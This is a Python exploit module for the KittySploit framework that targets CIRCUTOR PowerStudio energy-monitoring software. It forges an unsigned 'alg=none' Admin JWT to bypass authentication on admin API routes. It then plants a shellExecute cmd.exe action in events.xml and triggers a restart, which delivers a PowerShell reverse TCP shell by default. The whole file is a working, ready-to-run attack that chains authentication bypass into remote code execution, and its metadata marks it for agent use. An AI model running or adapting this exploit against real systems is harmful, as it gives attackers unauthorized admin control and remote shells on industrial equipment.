CIRCUTOR PowerStudio JWT alg=none forgery

"""CIRCUTOR PowerStudio JWT alg=none admin forgery (auth bypass chain primitive)."""
from __future__ import annotations
import base64
import json
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'CIRCUTOR PowerStudio JWT alg=none forgery', 'description': 'Forge alg=none Admin JWT and access protected admin/microservice routes. When events.xml accepts the token, delivers shellExecute for Windows cmd/payload.', 'author': ['KittySploit Team'], 'platform': Platform.WINDOWS, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/windows/powershell_reverse_tcp', 'platform': Platform.WINDOWS, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['circutor', 'jwt', 'auth-bypass', 'rce'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'privilege_escalation', 'remote_code_execution'], 'expected_requests': 4, 'reversible': False, 'approval_required': True, 'produces': ['auth_bypass', 'rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/circutor_powerstudio_jwt_alg_none_forgery_detect', 'exploits/multi/http/circutor_powerstudio_shellExecute_rce']}}}
    EVENTS_XML = '<event><condition>1==1</condition><actions><activate><shellExecute><command>cmd.exe</command><parameter>/c {cmd}</parameter></shellExecute></activate></actions></event>'
    DEFAULT_PROBE_PATHS = ('/admin/api/status', '/admin/secure/users', '/services/user/events.xml')
    port = OptPort(8089, 'JWT-protected admin / events API port (often 8089)', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    jwt_role = OptString('Admin', 'Forged role claim', required=False)
    probe_path = OptString('', 'Single path to validate bypass (default tries several)', required=False)
    events_path = OptString('/services/user/events.xml', 'events.xml route for shellExecute chain', required=False)
    trigger_path = OptString('/restart.xml', 'Reload trigger after arming events', required=False)

    def _b64url(self, data: bytes) -> str:
        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

    def forge_jwt(self, role: str='Admin', exp: int=9999999999) -> str:
        header = {'typ': 'JWT', 'alg': 'none'}
        payload = {'role': role, 'exp': exp}
        h = self._b64url(json.dumps(header, separators=(',', ':')).encode('utf-8'))
        p = self._b64url(json.dumps(payload, separators=(',', ':')).encode('utf-8'))
        return f'{h}.{p}.'

    def _bearer(self) -> str:
        return 'Bearer ' + self.forge_jwt(str(self.jwt_role or 'Admin'))

    def _request_with_jwt(self, method: str, path: str, data: str | None=None) -> tuple[int, str]:
        headers = {'Authorization': self._bearer(), 'Accept': '*/*'}
        if data is not None:
            headers['Content-Type'] = 'application/xml'
        resp = self.http_request(method, path, data=data, headers=headers)
        if not resp:
            return (-1, '')
        return (int(resp.status_code or 0), (resp.text or '')[:300])

    def _request_plain(self, method: str, path: str) -> tuple[int, str]:
        resp = self.http_request(method, path)
        if not resp:
            return (-1, '')
        return (int(resp.status_code or 0), (resp.text or '')[:300])

    def _probe_paths(self) -> tuple[str, ...]:
        custom = str(self.probe_path or '').strip()
        if custom:
            return (custom,)
        return self.DEFAULT_PROBE_PATHS

    def execute(self, shell: str) -> str:
        token_preview = self.forge_jwt(str(self.jwt_role or 'Admin'))[:48] + '...'
        bypass_notes = []
        for path in self._probe_paths():
            plain_code, _ = self._request_plain('GET', path)
            jwt_code, jwt_body = self._request_with_jwt('GET', path)
            if jwt_code in (200, 201, 202, 204) and plain_code in (401, 403, -1):
                bypass_notes.append(f'BYPASS {path}: {plain_code}→{jwt_code}')
            elif jwt_code not in (401, 403) and jwt_code >= 0:
                bypass_notes.append(f'JWT accepted on {path} HTTP {jwt_code}')
        events = str(self.events_path or '/services/user/events.xml')
        body = self.EVENTS_XML.format(cmd=shell.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;'))
        write_code, write_snip = self._request_with_jwt('PUT', events, data=body)
        if write_code == 405:
            write_code, write_snip = self._request_with_jwt('POST', events, data=body)
        trigger = str(self.trigger_path or '/restart.xml')
        trig_code, _ = self._request_with_jwt('GET', trigger)
        if trig_code in (401, 403):
            trig_code, _ = self._request_plain('GET', trigger)
        parts = [f'forged JWT {token_preview}']
        if bypass_notes:
            parts.append('; '.join(bypass_notes))
        parts.append(f'events {events} HTTP {write_code} ({write_snip!r})')
        parts.append(f'trigger GET {trigger} HTTP {trig_code}')
        parts.append('confirm shell via handler or circutor_powerstudio_shellExecute_rce for xeve+SSH path')
        return '; '.join(parts)

    def check(self):
        for path in self._probe_paths():
            plain, _ = self._request_plain('GET', path)
            jwt, _ = self._request_with_jwt('GET', path)
            if jwt in (200, 201, 202, 204) and plain in (401, 403):
                return {'vulnerable': True, 'reason': f'JWT bypass on {path} ({plain}→{jwt})', 'confidence': 'high'}
            if jwt not in (401, 403) and jwt >= 200 and (jwt < 500):
                return {'vulnerable': True, 'reason': f'Admin JWT accepted on {path} (HTTP {jwt})', 'confidence': 'medium'}
        resp = self.http_request('GET', '/')
        if resp and re.search('circutor|powerstudio', resp.text or '', re.I):
            return {'vulnerable': True, 'reason': 'PowerStudio fingerprint', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'No JWT bypass observed on probe paths', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Forged alg=none JWT → protected API / events.xml chain')
        print_info(self.execute(shell))
        self.vulnerable()
        return True